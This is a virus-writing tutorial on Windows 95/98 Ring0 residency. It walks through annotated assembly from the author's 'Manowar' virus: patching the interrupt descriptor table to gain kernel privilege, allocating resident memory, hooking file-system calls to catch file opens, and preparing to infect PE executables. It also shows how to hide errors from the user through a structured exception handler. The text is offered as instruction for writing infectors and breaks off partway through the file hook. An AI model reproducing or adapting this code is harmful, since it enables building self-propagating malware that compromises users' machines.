Ring0 Residency
by Lord Julus

Foreword

Well, here I am again... finally writting what I was willing to write for at least one year now. A Win95 residency tutorial. Since this tute is a little limited due to the fact that the method presented here doesn't work under WindowsNT, I will expand it in another direction, presenting the entire process of going resident, catching and infecting the PE files. As you will see, this resembles very much to good old DOS resident viruses, with one exception: it's much more easy! Really... Just follow all instructions, read everything carefully, get a grip on the docs you need and then... be imaginative!! The holes in win95/98 are so dark and big, they offer so many stealth opportunities and so many flaws can be used that you need to be VERY imaginative! I will start by presenting some basic things like concepts and such, docs and utils you need and so on. So, let's ride...

Basics

Before going to the way let me tell you what are the docs you might need in order to be able to properly understand, use and develop this method:

            Microsoft SDK (msdn.microsoft.com)
            Microsoft DDK (www.microsoft.com/hwdev/ddk)
            Visual C++ include files
            Ralph Brown list

The infos in these docs are redundant. By this I mean that there are 3 DDK's at the moment: DDK98 (windows98), DDK40 (windowsNT 4.0), NTDDK (beta 2 for windowsNT 5.0, or windows 2000). Also many files in the DDK and SDK can be found in the Visual C++ include files. The thing is that the DDKs are huge files (29-50Megs), so it's better to just copy the includes from somebody...

Now let's work...

The entire Windows95/98 is built basically at two levels that go by the name of Ring0 and Ring3. Trust me, I have no idea where did ring1 and 2 go ;-))). Anyway, these are called priviledge levels. Ring0 is the highest priority and Ring3 is the lowest priority. The kernel, the core of the system is running at Ring0.

> Def: "Running at Ring0" = running with the highest priorities, meaning you have all the hardware access possible.

> "Running at Ring3 = running with the lowest priorities, actually being able to only execute what the kernel system is offering.

The kernel so, runs at Ring0. Do you remember good old times when you were able to use ports to read hardisk areas and stuff like that? Well, inside the win32 system you can only do this when running at Ring0. When running at Ring3, like all user applications do, you are restricted to the Windows APIS (check my article on using Windows APIS and also check the Win32 API Programmers Help). Here, in these APIS you will realize, when checking them, that basically it is pretty hard to get resident. That's because of the Windows95 particular system of running the applications.

Basically the thing goes like this: Windows creates a memory area for the process that is about to run and then starts it. The running process is restricted (not quite, but let's say so) to it's zone. It is pretty hard for one process to affect other running processes. Also, when the process ends, the entire memory area is wiped. So, basically you can go resident using APIS in the current process memory zone (using the GlobalAlloc API), but once the process is shut down, so is the virus. Usually these kinds of viruses go resident in the process area and spawn themselves (create a new process) with the virus itself, but the sapwning method is not the issue of this article...

Anyway, what I was trying to explain is that when at Ring3 your hands are pretty tied up... So we establish one thing: we must reach Ring0. This is the first goal. What we are about to do when at Ring0..., well we'll see about that.

One of the first (if not even the first) virus that used the next method of getting into Ring0 was CIH. This virus was widely spread during the year 1998, but it didn't get many fans due to the fact that it was highly destructive (wipping the HDD and the flash bios if any). Hence, the virus writters took the best out of it, and that is one method of going into Ring0.

In Windows, whenever something really bad happens, something called Exception Error pops up. The Exception Error is something that wasn't suppose to happen, but it did... In order to announce the user about this, the system issues an INT. At that point, the system jumps into Ring0 in order to be able to do all its internal laundry... This is what our code will do. It will try to modify the address of an interrupt, issue that interrupt, thus making the system believe that some error occured. When this happend, it jumps in Ring0 and suddenly we find ourselves in our handler going at Ring0 (check next chapter to see all steps)... One down, still to go!!

> Let's see what can we do at Ring0 and what do we need to do...

There exist something in Windows called a VxD (Virtual Driver). This thing goes back to win31... The virtual drivers are actually pieces of code which run at Ring0. They have a special way of accessing the hardware resources and this is called the VxD call. You can think about the VxD call like about the old dos Int 21h. Why is that? Because it accepts parameters in different registers, makes a call and returns different parameters in different registers. This approach brings it more closer to old dos methods of calling interrupts than the new win32 way which introduces the push on stack parameters and the calls to very easy to remember functions (like CreateFile, etc...). Anyway, the VxD call is encoded in a special way. You must define it in your code kinda like this:

            vxdcall macro vxd_id, service_id
                          int 20h
                          dw service_id
                          dw vxd_id
                    endm

You define this macro in the beginning of your code and then you use it like this:

            vxdcall 40h, 32h  (only an example)

This example generates the following code:

            CD20h     int 20h
            0040h     dw  40h
            0032h     dw  32h

When the code gets executed, windows recognizes the Int 20h as being a VxD call and interprets the following parameters (these params will be discussed later). If the system doesn't recognize the VxD ID or the service ID the well known blue screen appears saying something like "Invalid VxD call"... But, remember, you can only do VxD calls when running at Ring0. If you are at Ring3 you will get and exception error.

So, continuing, when windows stumbles over this the so called callback routine changes the above sequence into something like this:

            call [address]

where address is a pointer which holds the actual address of the VxD service.

Don't try to hard find these addresses and try to call them directly, from Ring0 or Ring3. Firstly, this would fail and secondly the addresses are not supposed to be fixed. And this will be proven soon.

The fact that the initial encoding of the VxD call gets changed into a call is a big problem that needs to be solved. That's because in order to infect a file you must use VxD calls. When you use one, it's encoding gets changed and the victim file will get infected with a copy of the virus, but with the VxD calls ALREADY changed by the callback function. The next time the victim runs, an exception error will occur when the EIP will reach that call. Even if the VxD address is there, by doing a direct call there you will get an exception error. How to fix this, we'll see later...

Now, let's discuss about the VxD calls we will use and how...

The most important and used by us is the IFSMgr Vxd service. This is the one that allows us to practically go resident, catch files and infect them. Here is how to define it:

            IFSMgr = 0040h

Now let's study some of the VxD calls we will use in out code:

GetHeap = 000dh

            Usage:

                    mov eax, memory_needed     ;
                    push eax                   ; push requested memory
                    vxdcall IFSMgr, GetHeap    ;
                    pop ecx                    ; memory obtained here
                    or eax, eax                ; new address in eax
                    jz no_memory               ;

So, you must push the ammount of memory you need, then call the GetHeap VxD call. After this you pop from stack the amount of memory that was allocated and in EAX you get the address of the new memory zone. From EAX up to EAX+ECX is the area you just allocated... Usually this gives you a free zone somewhere above 0C000000, more likely around 0C1000000h, or anyway somewhere there...

This was the call that allowed us to go resident. Now all you need to do is move the code there (check code study). The next VxD call is the one that will allow us to catch the files:

InstallFileSystemAPIhook = 0067h

            Usage:

                    lea eax, API_hook
                    push eax
                    vxdcall IFSMgr, InstallFileSystemAPIhook
                    pop ebx
                    mov nexthook, eax

So, you push the address of a procedure where you will handle files and then you get in eax the address of the next hook which you need to save. At the end of your own hook routine you will need to call this in order to close the circle. This looks exactly like old Int 21h hooking. You install a routine that catches system calls regarding files, you process what you need and afterwards you call the original routine. Very simple, but please check the code analyze to get it right... And, I hope you understood already that the API_hook routine will run at Ring0. After all, the system needs everything there...

When entering into the API_hook, not only ours, but any, the stack looks like this:

          Offset | Size |  Explanation
         --------+------+---------------------------------------------------
          00h    |  DD  |  Saved EBP
          04h    |  DD  |  Return address
          08h    |  DD  |  The address of the FSD to be called
          0Ch    |  DD  |  The action that will be performed
          10h    |  DD  |  The drive where do to de operation on
          14h    |  DD  |  The kind of resource the operation is done on
          18h    |  DD  |  The codepage that the user string was passed in on
          1Ch    |  DD  |  A pointer to a IOREQ structure

> The main interest for us are the following:

> 0Ch = action to be performed, or example file open, file rename, file read, etc...

> 10h = drive where the operation takes place

> 1Ch = the IOREQ structure

> About the action, here are some common valuez to check for:

            IFSFN_OPEN       = 36
            IFSFN_RENAME     = 37
            IFSFN_FILEATTRIB = 33

About the drive type, this is defined as a >0 number, where 1 means drive A. So, you may want to skip infection on floppy disks as the operations are slower.

The codepage should be an important parameter, but I choosed not to used it. When converting the strings as you will see later, the codepage is used to obtain a correct convertion to ASCII of the Unicode string type.

> About the IOREQ structure, it is defined as follows:

            ioreq   struc
                ir_length  dw ? ; length of user buffer (eCX)              00h
                ir_flags   db ? ; misc. status flags (AL)                  02h
                ir_user    db ? ; user ID for this request                 03h
                ir_sfn     dw ? ; System File Number of file handle        04h
                ir_pid     dw ? ; process ID of requesting task            08h
                ir_ppath   dd ? ; unicode pathname                         0Ch
                ir_aux1    dd ? ; secondary user data buffer (CurDTA)      10h
                ir_data    dd ? ; ptr to user data buffer (DS:eDX)         14h
                ir_options dw ? ; request handling options                 18h
                ir_error   dw ? ; error code (0 if OK)                     1Ah
                ir_rh      dw ? ; resource handle                          1Ch
                ir_fh      dw ? ; file (or find) handle                    1Eh
                ir_pos     dd ? ; file position for request                20h
                ir_aux2    dd ? ; misc. extra API parameters               24h
                ir_aux3    dd ? ; misc. extra API parameters               28h
                ir_pev     dw ? ; ptr to IFSMgr event for async requests   2Ch
                ir_fsd     db (size fsdwork) dup (?) ; Provider work space 2Eh
             ioreq   ends

where fsdwork is:

             fsdwork struc
                     dw 16 dup(?)
             fsdwork ends

It's off little importance now what you can find in the additional fields inside the aux1, 2, 3 fields. What we are looking at is the unicode pathname. You can see that it is found at IOREQ+0Ch. So, in order to get a pointer to the Unicode path name of the file we must do the follwing:

                   mov eax, [ebp+1Ch]                    ; get IOREQ pointer
                   mov eax, [eax+0Ch]                    ; point the filename
                   add eax, 4                            ;

The add is needed to skip some crap in the beginning of the UniCode path. In this simple way (only 3 instructions, you don't even have to remember the IOREQ structure), we have EAX pointing the filename in Unicode system.

Now EAX points to the filename! Check below the code to fully understand.

So, basically the API_hook must preserve all the stuff which comes on the stack, do the dirty job and then restore the stack! That's it!

So, now we are able to catch files. That's because every time windows is doing any kind of file operation, it calls the FileSystemAPIhook. Now let us focus on another important call, which allows us to make all the needed operations on files:

Ring0_FileIO = 0032h

            Usage:

                    mov registers, parameters
                    vxdcall IFSMgr, Ring0_FileIO

> > Usually because this VxD call is used more often you should make an call to it like this:

                    call Ring0_File_IO
                    ...
           Ring0_File_IO:
                    vxdcall IFSMgr, Ring0_FileIO
                    ret

> > For the parameters we have the following:

            1) Opening a file
            =================

                    lea esi, filename           ; file name
                    mov bx, 2                   ; open style
                    mov cx, 0                   ; file attribute
                    mov dx, 1                   ; fail if not opened
                    mov eax, R0_OPENCREATFILE   ;
                    call Ring0_File_IO          ;

                    R0_OPENCREATEFILE = 0D500h

> > On return we have in EAX the file handle. If CF is set then an error occured.

            2) Reading from a file
            ======================

                    lea esi, buffer      ; buffer to read to
                    mov ebx, handle      ; handle as given by OPENCREATEFILE
                    mov ecx, size        ; bytes to read
                    mov edx, pos         ; position in file
                    mov eax, R0_READFILE ;
                    call Ring0_File_IO   ;

                    R0_READFILE = 0D600h

The fact that you are allowed to specify the position in file to read from is particulary nice. To read consequent passages from one file you need to make yourself a variable and increase it with the size read everytime and then use that variable as the position in file parameter. CF set means error.

            3) Writing to a file
            ====================

                    lea esi, buffer       ; buffer to write from
                    mov ecx, size         ; bytes to write
                    mov ebx, handle       ; handle of file
                    mov eax, R0_WRITEFILE ;
                    mov edx, pos          ; position in file to write at
                    call Ring0_File_IO    ;

                    R0_WRITEFILE = 0D601h

> > This is similar to file read.

            5) Closing a file
            =================

                    mov ebx, handle        ; handle
                    mov eax, R0_CLOSEFILE  ;
                    call Ring0_File_IO     ;

                    R0_CLOSEFILE = 0D700

So, these are all the calls you need to know in order to open, read, write and close a file. Don't you see a hitting resemblance to the Int 21 file handling? Oh, yes it is... That's because deep down inside even windows95/98 calls the int21... But that's a whole other story. You just keep in mind the above stuff and check forward how to use it exactly.

Some more, but not described in the code study area are the set attributes and get attributes calls:

            R0_FILEATTRIBUTES = 04300h
            GET_ATTRIBUTES    = 00h
            SET_ATTRIBUTES    = 01h

> Use them like this:

            Getting attributes:
            -------------------

            lea esi, filename
            mov eax, R0_FILEATTRIBUTES + GET_ATTRIBUTES
            call Ring0_File_IO

> This returns in ECX the attributes.

            Setting attributes
            ------------------

            lea esi, filename
            mov ecx, newattributes
            mov eax, R0_FILEATTRIBUTES + SET_ATTRIBUTES
            call Ring0_File_IO

You can use this calls if you want to restore the attributes of the infected files. In Manowar I didn't use these.

One more thing to say would be this: When the API hook gets called, the filename which is about to be accessed comes as a parameter but it is in Unicode system. The Unicode is some stuff invented by a very smart guy in order to be able to write in all kinds of languages which don't have the US alphabet. Something like an Esperanto for computers... Anyway, in order to be able to use the file you must turn it into BCS system. This is done by the UniToBCSPath Vxd call. You can do it by hand, butI wouldn't recommend it to you... Check the UniToBCSPath call explained below.

Basically this is what you need to know as to make a big picture about how it is going... I have to repeat once again that this resembles very much with old dos resident viruses using Int 21 hooking. It's the same idea, the same method, but only different kinds of calls... You'll get used to it soon, as I did too...

Before jumping to code study let me tell you a few words on something else we will be using in here, and that's the SEH frame. It is not particular to win32 Ring0 programming, but it is widely used. It seems that Microsoft(C) tried to hide a little the things behind the SEH frame. SEH means Structured Exception Handler. Briefly everytime a nasty exception error occures, the SEH frame receives control. Here, on the stack there are several informations that are vital into giving the user an warning about what has happened. It's the SEH frame that brings you that window that says "The program tried to do an ilegal operation and will be shut down". You will see that the SEH frame is very important for us, especially as we are dealing with a very sensitive thing like Ring0. So, what we are interested to do is setup a SEH frame so that if an error occures, the program won't stop, instead it will restore everything back and jump back to the host. The SEH frame is set like this:

On entry the FS:[0] points to the original SEH frame, which we retrieve and save:

           mov eax, dword ptr fs:[00H]           ; get the old seh pointer
           mov dword ptr [ebp+SEH_nextpointer], eax; set in structure
           mov dword ptr [ebp+SEH_oldpointer], eax ; and save for restore

Then we take a pointer to our own exception handler and replace the dword at FS:[0]:

           lea eax, [ebp+return_to_host]         ; make it point here...
           mov dword ptr [ebp+SEH_errorhandler], eax;
           lea eax, [ebp+SEH_nextpointer]        ;
           mov dword ptr fs:[00H], eax           ; and point the structure

The SEH pointers are defined like this:

                    SEH_next_pointer DD ?
                    SEH_errorhandler DD ?

So basically the SEH points to a kinda like inversed way. Our real pointer is the second and it points to a return_to_host address. There you must restore the SEH handler (check code) in only two lines and everything is ready...

Now let us start and check the code more attentively:

Code study

In order for you to understand very well all that I explained above, I decided to take a piece of code of my own and describe it piece by piece. This way all the fog will clear up and soon you will be a Ring0 expert!

The code I used in this study is a virus of mine called Manowar. It's my first Ring0 virus, fully functional, but test only (no messages, debug beep included, no encryption, etc...). So, let's get down to bussiness:

First, the macro and all the Equates you will be needing.

>     ;=====( Macros )=============================================================

>     vxdcall macro vxd_id, service_id             ; These are macros used to
>           int 20h                                ; call a VxD service or...
>           dw service_id                          ;
>           dw vxd_id                              ;
>     endm                                         ;

>     ;=====( Equates )============================================================

>     IFSMgr                   = 0040h             ; VXD service
>     GetHeap                  = 000dh             ;
>     InstallFileSystemAPIhook = 0067h             ;
>     Ring0_FileIO             = 0032h             ;
>     UniToBCSPath             = 0041h             ;
>     IFSFN_OPEN               = 36                ; open file
>     R0_OPENCREATFILE         = 0D500h            ; Open/Create a file
>     R0_READFILE              = 0D600h            ; Read a file, no context
>     R0_WRITEFILE             = 0D601h            ; Write to a file, no context
>     R0_CLOSEFILE             = 0D700h            ; Close a file
>     exception_int            = 3                 ;
>     exe_ext                  = 'EXE.'            ;
>     virussize                = end-start         ;

Now let's start to code. First we start in Ring3. Here we need to get our delta handle, because we assume we are in the tail of an infected host:

>     start:                                       ;
>            call get_delta                        ;
>                                                  ;
>     get_delta:                                   ;
>            pop ebp                               ;
>            sub ebp, offset get_delta             ;
>            jmp realstart                         ; jump over data

Now, let's define the needed data:

>     IDT_Address      dq 0                        ; IDT address
>     exception        dd 0                        ; exception place
>     old_offset       dd 0                        ; real old offset
>     flag             db 0                        ; infection flag
>     newaddress       dd 0                        ; new virus place
>     filename         db 260 dup (0)              ; victim's name
>     handle           dd 0                        ; victim's handle
>     crt_move         dd 0                        ; current movement in file
>     sec_ptr          dd 0                        ; pointer to section
>     Old_EIP          dd 0                        ; Old Entry point
>     S_Align          dd 0                        ; section alignment
>     F_Align          dd 0                        ; file alignment
>     SOI              dd 0                        ; size of image
>     peheader         dd 0                        ; pe header address
>     virusplace       dd 0                        ; virus place in victim
>     imagebase        dd 0                        ; imagebase of victim
>                                                  ;
>     SEH_oldpointer   dd ?                        ; SEH saved pointer
>     SEH_nextpointer  dd ?                        ; SEH structure... old pointer
>     SEH_errorhandler dd ?                        ;                  new pointer

These were the most basic data you need in this code. Following there is a description of how we will encode the stuff inside the PE header. I included this here assuming that some of you don't have a strong grip on the PE header structure. I tried to comment each line. If you know about all these, scroll down to the code:

>     ;=====( File header structures )=============================================

>     IMAGE_DOS_HEADER STRUC            ; DOS .EXE header
>         MZ_magic      DW ?            ; Magic number
>         MZ_cblp       DW ?            ; Bytes on last page of file
>         MZ_cp         DW ?            ; Pages in file
>         MZ_crlc       DW ?            ; Relocations
>         MZ_cparhdr    DW ?            ; Size of header in paragraphs
>         MZ_minalloc   DW ?            ; Minimum extra paragraphs needed
>         MZ_maxalloc   DW ?            ; Maximum extra paragraphs needed
>         MZ_ss         DW ?            ; Initial (relative) SS value
>         MZ_sp         DW ?            ; Initial SP value
>         MZ_csum       DW ?            ; Checksum
>         MZ_ip         DW ?            ; Initial IP value
>         MZ_cs         DW ?            ; Initial (relative) CS value
>         MZ_lfarlc     DW ?            ; File address of relocation table
>         MZ_ovno       DW ?            ; Overlay number
>         MZ_res        DW 4 DUP(?)     ; Reserved words
>         MZ_oemid      DW ?            ; OEM identifier (for MZ_oeminfo)
>         MZ_oeminfo    DW ?            ; OEM information; MZ_oemid specific
>         MZ_res2       DW 10 DUP(?)    ; Reserved words
>         MZ_lfanew     DD ?            ; File address of new exe header
>     IMAGE_DOS_HEADER ENDS             ;
>     IMAGE_DOS_HEADER_SIZE = SIZE IMAGE_DOS_HEADER
>                                       ;
>     IMAGE_FILE_HEADER STRUC           ; Portable Exe File
>         PE_Magic                 DD ? ;
>         Machine                  DW ? ; Machine type
>         NumberOfSections         DW ? ; Number of sections
>         TimeDateStamp            DD ? ; Date and Time
>         PointerToSymbolTable     DD ? ; Pointer to Symbols
>         NumberOfSymbols          DD ? ; Number of Symbols
>         SizeOfOptionalHeader     DW ? ; Size of Optional Header
>         Characteristics          DW ? ; File characteristics
>     IMAGE_FILE_HEADER ENDS            ;
>     IMAGE_FILE_HEADER_SIZE = SIZE IMAGE_FILE_HEADER

>     IMAGE_DATA_DIRECTORY STRUC                         ; Image data directory
>         DD_VirtualAddress DD ?                         ; Virtual address
>         DD_Size           DD ?                         ; Virtual size
>     IMAGE_DATA_DIRECTORY ENDS                          ;
>                                                        ;
>     IMAGE_DIRECTORY_ENTRIES STRUC                      ; All directories
>         DE_Export           IMAGE_DATA_DIRECTORY    ?  ;
>         DE_Import           IMAGE_DATA_DIRECTORY    ?  ;
>         DE_Resource         IMAGE_DATA_DIRECTORY    ?  ;
>         DE_Exception        IMAGE_DATA_DIRECTORY    ?  ;
>         DE_Security         IMAGE_DATA_DIRECTORY    ?  ;
>         DE_BaseReloc        IMAGE_DATA_DIRECTORY    ?  ;
>         DE_Debug            IMAGE_DATA_DIRECTORY    ?  ;
>         DE_Copyright        IMAGE_DATA_DIRECTORY    ?  ;
>         DE_GlobalPtr        IMAGE_DATA_DIRECTORY    ?  ;
>         DE_TLS              IMAGE_DATA_DIRECTORY    ?  ;
>         DE_LoadConfig       IMAGE_DATA_DIRECTORY    ?  ;
>         DE_BoundImport      IMAGE_DATA_DIRECTORY    ?  ;
>         DE_IAT              IMAGE_DATA_DIRECTORY    ?  ;
>     IMAGE_DIRECTORY_ENTRIES ENDS                       ;
>     IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16              ;
>                                                        ;
>     IMAGE_OPTIONAL_HEADER STRUC                        ; Optional Header
>         OH_Magic                        DW ?           ; Magic word
>         OH_MajorLinkerVersion           DB ?           ; Major Linker version
>         OH_MinorLinkerVersion           DB ?           ; Minor Linker version
>         OH_SizeOfCode                   DD ?           ; Size of code section
>         OH_SizeOfInitializedData        DD ?           ; Initialized Data
>         OH_SizeOfUninitializedData      DD ?           ; Uninitialized Data
>         OH_AddressOfEntryPoint          DD BYTE PTR ?  ; Initial EIP
>         OH_BaseOfCode                   DD BYTE PTR ?  ; Code Virtual Address
>         OH_BaseOfData                   DD BYTE PTR ?  ; Data Virtual Address
>         OH_ImageBase                    DD BYTE PTR ?  ; Base of image
>         OH_SectionAlignment             DD ?           ; Section Alignment
>         OH_FileAlignment                DD ?           ; File Alignment
>         OH_MajorOperatingSystemVersion  DW ?           ; Major OS
>         OH_MinorOperatingSystemVersion  DW ?           ; Minor OS
>         OH_MajorImageVersion            DW ?           ; Major Image version
>         OH_MinorImageVersion            DW ?           ; Minor Image version
>         OH_MajorSubsystemVersion        DW ?           ; Major Subsys version
>         OH_MinorSubsystemVersion        DW ?           ; Minor Subsys version
>         OH_Win32VersionValue            DD ?           ; win32 version
>         OH_SizeOfImage                  DD ?           ; Size of image
>         OH_SizeOfHeaders                DD ?           ; Size of Header
>         OH_CheckSum                     DD ?           ; unused
>         OH_Subsystem                    DW ?           ; Subsystem
>         OH_DllCharacteristics           DW ?           ; DLL characteristic
>         OH_SizeOfStackReserve           DD ?           ; Stack reserve
>         OH_SizeOfStackCommit            DD ?           ; Stack commit
>         OH_SizeOfHeapReserve            DD ?           ; Heap reserve
>         OH_SizeOfHeapCommit             DD ?           ; Heap commit
>         OH_LoaderFlags                  DD ?           ; Loader flags
>         OH_NumberOfRvaAndSizes          DD ?           ; Number of directories
>                                         UNION          ; directory entries
>         OH_DataDirectory                IMAGE_DATA_DIRECTORY\
>                                         IMAGE_NUMBEROF_DIRECTORY_ENTRIES DUP (?)
>         OH_DirectoryEntries             IMAGE_DIRECTORY_ENTRIES ?
>                                         ENDS           ;
>         ENDS                                           ;
>     IMAGE_OPTIONAL_HEADER_SIZE = SIZE IMAGE_OPTIONAL_HEADER
>                                                        ;
>     IMAGE_SECTION_HEADER STRUC                         ; Section hdr.
>         SH_Name                 DB 8 DUP(?)            ; name
>                                 UNION                  ;
>         SH_PhysicalAddress      DD BYTE PTR ?          ; Physical address
>         SH_VirtualSize          DD ?                   ; Virtual size
>                                 ENDS                   ;
>         SH_VirtualAddress       DD BYTE PTR ?          ; Virtual address
>         SH_SizeOfRawData        DD ?                   ; Raw data size
>         SH_PointerToRawData     DD BYTE PTR ?          ; pointer to raw data
>         SH_PointerToRelocations DD BYTE PTR ?          ; ...
>         SH_PointerToLinenumbers DD BYTE PTR ?          ; ...... not really used
>         SH_NumberOfRelocations  DW ?                   ; ....
>         SH_NumberOfLinenumbers  DW ?                   ; ..
>         SH_Characteristics      DD ?                   ; flags
>     IMAGE_SECTION_HEADER ENDS                          ;
>     IMAGE_SECTION_HEADER_SIZE = SIZE IMAGE_SECTION_HEADER
>                                                        ;
>     my_mz_header IMAGE_DOS_HEADER      ?               ; our real data comes
>     my_pe_header IMAGE_FILE_HEADER     ?               ; here...
>     my_oh_header IMAGE_OPTIONAL_HEADER ?               ;
>     my_section   IMAGE_SECTION_HEADER  ?               ;

We start to code!! First let's set the SEH handler I talked about before:

>     realstart:                                       ;
>            mov eax, dword ptr fs:[00H]               ; get the old seh pointer
>            mov dword ptr [ebp+SEH_nextpointer], eax  ; set in structure
>            mov dword ptr [ebp+SEH_oldpointer], eax   ; and save for restore
>            lea eax, [ebp+return_to_host]             ; make it point here...
>            mov dword ptr [ebp+SEH_errorhandler], eax ;
>            lea eax, [ebp+SEH_nextpointer]            ;
>            mov dword ptr fs:[00H], eax               ; and point the structure

Now we are sure that if something bad happens, the code will jump to our error handler, which actually points to return_to_host, thus jumping back to the host and making the user not notice the error.

Now let us prepare to go into Ring0: The SIDT (Store Interrupt Device Table) stores the address of the IDT at the destination. The first two bytes are the length of the IDT. Then the offset for each interrupt is to be found at Interrupt Number multiplied by 8. There you have two words in inverse format that point to the interrupt. All we need to do is save the old address and set the address to point to our own routine (called Ring0 here). The interrupt used here is Int 3:

>            sidt [ebp+IDT_Address]                ; Get interrupt address
>            mov esi, dword ptr [ebp+IDT_Address+2]; (first 2 are the length)
>            add esi, exception_int*8              ; get the offset for Int
>            mov dword ptr [ebp+exception], esi    ; save exception place
>            mov bx, word ptr [esi+6]              ; get low word
>            shl ebx, 10H                          ; shift left
>            mov bx, word ptr [esi]                ; get high word
>            mov dword ptr [ebp+old_offset], ebx   ; save exception offset
>            lea eax, [ebp+offset Ring0]           ; eax=new Int handler
>            mov word ptr [esi], ax                ; store high word
>            shr eax, 10H                          ; shift right
>            mov word ptr [esi+6], ax              ; and store low word

Before going to Ring0 it's better to check if you are already resident. Manowar does it like this:

>            mov eax, 0c000e990h                   ; check residency mark...
>            cmp dword ptr [eax], 'MWAR'           ; use your own here...
>            jne go_on_to_ring0                    ;
>            jmp already_installed                 ;

Now we are ready to go to Ring0. We generate an interrupt which jumps us into the Ring0 routine...

>     go_on_to_ring0:                              ;
>            int exception_int                     ; Generate exception -> Ring0 !

After the Int is executed, the control comes back here. Also we find ourselves here if the virus was already resident. Our job here is to restore the Exception Interrupt address, the SEH frame and to return to the host:

>     already_installed:                           ;
>            mov esi, dword ptr [ebp+exception]    ; restore IDT address
>            mov ebx, dword ptr [ebp+old_offset]   ; restore exception offset
>            mov word ptr [esi], bx                ; restore exception
>            shr ebx, 10H                          ; handler
>            mov word ptr [esi+6], bx              ;
>                                                  ;
>     return_to_host:                              ;
>            mov eax, dword ptr [ebp+SEH_oldpointer]; restore the old SEH pointer
>            mov dword ptr fs:[00H], eax           ;
>                                                  ;
>     exit:                                        ;
>            cmp ebp, 0                            ;
>            je generation_1                       ;
>            mov eax, [ebp+Old_EIP]                ;
>            add eax, [ebp+imagebase]              ;
>            jmp eax                               ;
>                                                  ;
>     generation_1:                                ;
>            Push 0                                ;
>            Call ExitProcess                      ; and exit

So you noticed that after we restore the IDT and the SEH, we check if we are in generation one, thus issuing an ExitProcess, otherwise we use the OLD_Eip aligned with the image base. How we retrieve these you will find explained a little later.

Now let's take a look at the Ring0 routine... This is where we will go resident and install our File System Hook. Before doing this let me stop a little and return to something I spoke about a while back so that you won't get confused. I explained you how the calls to a VxD service damage the encoding and turn it into a call. Well, the method used in Manowar (and firstly applied by Quantum in FuckHarry) is to restore it by hand. This means that after the call is issued, later in the code you put back the values to restore the Int20/dw/dw structure. For this, you will see before each VxD call a label saying fix_n. Also above it an equate saying: fix_n_value equ vxd_id+256*256*IFSMgr. Later when we will fix the calls, we will simply put a CD20h (Int20h) at the fix_n address, and then the fix_n_value at fix_n+2 address. By this method the initial VxD encoding is restored. If you do not really understand this, just try it our in TD32 and see how it goes...

>     Ring0 proc                                   ; Here we are at Ring0
>            pushad                                ; save registers
>            mov eax, end-start+100                ; memory needed
>            push eax                              ;
>                                                  ;
>     fix_1_value equ GetHeap+256*256*IFSMgr       ; fix dword for GetHeap
>     fix_1:                                       ;
>            vxdcall IFSMgr, GetHeap               ; get it!
>            pop ecx                               ; in ecx...
>            or eax, eax                           ; did we make it?
>            jz no_free_mem                        ;

If we are here than the memory allocation was successful and we are about to copy our virus into memory:

>            xchg eax, edi                         ; EDI = new free memory area
>            lea esi, dword ptr [ebp+start]        ; ESI = start of virus
>            push edi                              ;
>            mov ecx, end-start                    ;
>            rep movsb                             ; copy virus...
>            pop edi                               ;
>            mov dword ptr [ebp+newaddress], edi   ;
>            mov dword ptr [edi+delta1-start], edi ;

Let's understand the delta handle now... We will use EDI as the base of our virus into the new memory area. But when our virus was first compiled, all the addresses were aligned to the START. Meaning that if we want to address an address in the new memory, we must substract the START and add the new delta EDI. So all memory addressing inside the new code will be like this:

            [edi + variable - start]

But later on when the FileSystemAPIhook will be called, the EDI will be lost! That's why we put it's value into the delta1 variable. You will see later how we use it...

Now let's install our API hook. Note that we are referring to addresses into the new allocated memory, where the copy off the virus is resident:

>            lea eax, [edi+API_hook-start]         ; FSAPI hook
>            push eax                              ;
>                                                  ;
>     fix_2_value equ InstallFileSystemAPIhook+256*256*IFSMgr;
>     fix_2:                                       ;
>            vxdcall IFSMgr, InstallFileSystemAPIhook; install new handler
>            pop ebx                               ; just to restore stack
>            mov [edi+nexthook-start], eax         ; save the old hook handler
>            jmp install_success                   ;

In this simple way, we are now the owners of the File System. Every calls to access the files will first run through our API_hook routine.

Now some final things:

>     no_free_mem:                                 ;
>            jmp exit_to_ring3                     ;
>                                                  ;
>     install_success:                             ;
>            mov eax, 0c000e990h                   ; mark as resident
>            mov dword ptr [eax], 'MWAR'           ;
>            mov byte ptr [edi+flag-start], 0      ; reset flag
>                                                  ;
>     exit_to_ring3:                               ;
>            popad                                 ; restore regs
>            iretd                                 ; Get out of R0
>     Ring0 endp                                   ;

You see how easily we get out from Ring0 to Ring3. A simple Iretd does the trick!

Now let us focus on the API hook routine. Here is where the code gets control everytime a file is accessed. We will enter in a C like style to have the stack pointed by EBP. This is done like this because we will be needing stuff of the stack. Before we start to do our job we must remove from the stack the parameters and then we will put them back. This is the way QG used the API_hook in FuckHarry. You can address the stack directly by using [esp].

>     API_hook:                                    ;
>             push ebp                             ; C-like enter
>             mov ebp, esp                         ;
>             sub esp, 20h                         ; get parametrs off stack
>                                                  ;
>             push ebx                             ; save some regs
>             push esi                             ;
>             push edi                             ;
>                                                  ;
>             db 0BFh                              ; EDI = new delta handle in mem
>     delta1  dd 0                                 ;

The above line puts in EDI the value we computed earlier when we went resident. It's actually the base where the virus is resident and it's use is of a delta handle.

The calls to file access are very often. Inside here we will do some of our own. It's very important not to reenter in this routine. Therefore we will set avariable which will be 1 while we are inside here. We compare it to 1 to see if we can go on:

>             cmp byte ptr [edi+flag-start], 1     ; safety flag (prevents reentry)
>             je over_now                          ;
>                                                  ;
>             cmp dword ptr [ebp+12], IFSFN_OPEN   ; is this an openfile call ?
>             jne over_now                         ;

The parameter at EBP+12 is the action that the system want to take over the file. What we are interested in it File Opening. If it is so, we keep going:

>             mov byte ptr [edi+flag-start], 1     ; set our reentrance flag
>             pusha                                ; push all regs
>             lea esi, [edi+filename-start]        ;

We are about to create the name of the file that will be accessed. The parameter at EBP+16 is the drive type. 1 means A, 2 means B, etc. We add 40h to it to obtain the ascii value (A, B, C,...). Then we add a ':\' in order to have a full path (like c:\):

>             mov eax, [ebp+16]                    ; get drive type (1=A)
>             cmp al, 0ffh                         ; bigger
>             je no_path                           ; then -> problem
>             add al, 40h                          ; align to ASCII
>             mov byte ptr [esi], al               ;
>             inc esi                              ;
>             mov byte ptr [esi], ':'              ;
>             inc esi                              ;
>             mov byte ptr [esi], '\'              ; we have a 'c:\' now...

